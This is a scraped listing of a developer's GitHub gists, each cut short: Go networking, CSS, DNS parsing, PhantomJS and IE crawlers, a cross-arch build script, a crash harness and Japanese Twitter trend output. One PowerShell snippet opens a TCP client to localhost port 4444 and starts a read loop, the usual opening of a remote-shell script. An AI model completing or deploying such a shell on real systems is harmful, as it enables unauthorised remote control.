This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"log" | |
"net" | |
) | |
func main() { | |
conn, err := net.Dial("tcp", "www.google.com:80") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>CSS Transform & Animation</title> | |
<style> | |
@keyframes guruguru { | |
0% { transform: rotate(0deg); } | |
100% { transform: rotate(360deg); } | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$addr = "localhost" | |
$port = 4444 | |
$client = New-Object System.Net.Sockets.TcpClient ($addr, $port) | |
$stream = $client.GetStream() | |
$buffer = New-Object System.Byte[] $client.ReceiveBufferSize | |
$enc = New-Object System.Text.AsciiEncoding | |
try { | |
while ($TRUE) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import struct | |
respond_addr = '127.0.0.1' | |
def parse_qname(qname): | |
labels = [] | |
while qname: | |
length = ord(qname[0]) | |
label = qname[1:1+length] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ sudo docker run --name phantomjs -i -t cmfatih/phantomjs /bin/bash | |
root@58df60145f30:/# vi showrequests.js | |
root@58df60145f30:/# phantomjs showrequests.js http://www.google.com/ | |
302 http://www.google.com/ text/html; charset=UTF-8 | |
200 https://www.google.co.jp/?gfe_rd=cr&ei=BrFbVu30HObM8gfu2Ji4Cw&gws_rd=ssl text/html; charset=UTF-8 | |
data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAAoklEQVR42mNgmGnMQAZ2AOKZQPwAimdCxRBqyDT0DBD/R8NnUAwnw+CZWAyF4ZmUGPwAj8EPBp3BzkB8mdSgwBfTMkC8EsmAW8RGHq6YPgu14DOUD6IrgNiF2OSGL6ZheDUQyxEdbEREyCcgdiU5kkmKaTIMxhcUlylxMa7Iu0VpGONKbqDYL6ckVRDCZKdjmua84VkI0bQ8plkNQrM6jygMAPbbJ6MGdtX+AAAAAElFTkSuQmCC image/png | |
200 https://ssl.gstatic.com/gb/images/i1_1967ca6a.png image/png | |
200 https://www.google.co.jp/logos/doodles/2015/lucy-maud-montgomerys-141st-birthday-6360410059964416-res.png image/png |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$initial = "http://dir.yahoo.co.jp/" | |
$next = $initial | |
while ($True) { | |
Write-Host ("[+] Navigate to {0}" -f $next) | |
$ie = New-Object -Com InternetExplorer.Application | |
$ie.Left = 0 | |
$ie.Top = 0 | |
$ie.Visible = $True | |
$ie.Navigate($next) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
set -e | |
ARCHS="armel armhf arm64 powerpc s390x" | |
apt-get update | |
apt-get -y install debootstrap qemu-user-static | |
for arch in $ARCHS; do |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<title>Browser Info</title> | |
<body> | |
<script> | |
(function(){ | |
function $E(tagName, textContent){ | |
var elem = document.createElement(tagName); | |
elem.textContent = textContent; | |
return elem; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import os | |
import shutil | |
from resource import setrlimit, RLIMIT_CORE, RLIM_INFINITY | |
from multiprocessing import Pool | |
from subprocess import Popen | |
fpath = sys.argv.pop() | |
args = sys.argv[1:] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ ENV/bin/python twtrend.py | |
#あなたの薄い本できました / 仕事始め / #あなたが今年度好かれる人 / アクシーズ / ヒルナンデス / #観察ちゃんと呟くとフォロ爆が来る / 頭の中の言葉 / #tama954 / #スタパ / 日経平均 / 国会開会式 / シルバニアファミリー / 混物語 / インド北東部 / スマホ解約不自由 / 仕事はじめ / イラン / 搭乗車両 / Hey!Say!JUMPの出番 / Lenovo / 水沼宏太選手 / テガミバチ / ヴァニスタカフェ / ビビット / メンテ前 / 食戟 のソーマ / 信号ナシ・速度無制限 / 鳥栖新監督 / 葦木場くん / 法的措置 / 美人市長 / マッシモ / サンカフェ / 左門くん / ゆるかわ隕石本 / マーガレット / 片野坂 / シクフェス / うすた展 / #あなたが才能を持っているブキ / #あなたに似合うあだ名ベスト3 / #嫌なマンションポエム / #東京女子プロレス / #kokkai / #武装神姫ファンの集まる居酒屋を考える会 / #happy_inter / #thebridge_jp / #スプラトゥーン武器縛 りプレイ | |
nyagonyago (@nyagonyago1): RT @higakubo: 反対だけでは政治は前に進まない。民主党や共産党などの野党は現実的で具体的な対案を出さず、反対ばかり唱えて、本会議場でヤジを飛ばすが、政治を前に進めているのは今の自民・公明政権。政治は結果。反対だけなら政治家でなくても誰でもできる。#kokkai #N… | |
変態仮面ひできは帰省中 (@azusatdn): 今年変態仮面ひできを好きになる人は… ーーーーーーーーーー 「岡本【男】」 「大松【女】」 #あなたが今年度好かれる人 https://t.co/Tx8VIIpPtq 大松「いないぞ」 | |
Neel Chauhan (@NeelChauhan30): Lenovo Vibe P1 Review: The Lenovo Vibe P1 is crammed with plenty of useful features and aims to be a truly who... https://t.co/wSIt2fXRvN | |
よっし (@yosshi_onew): ~よっしの薄い本、新作出来! |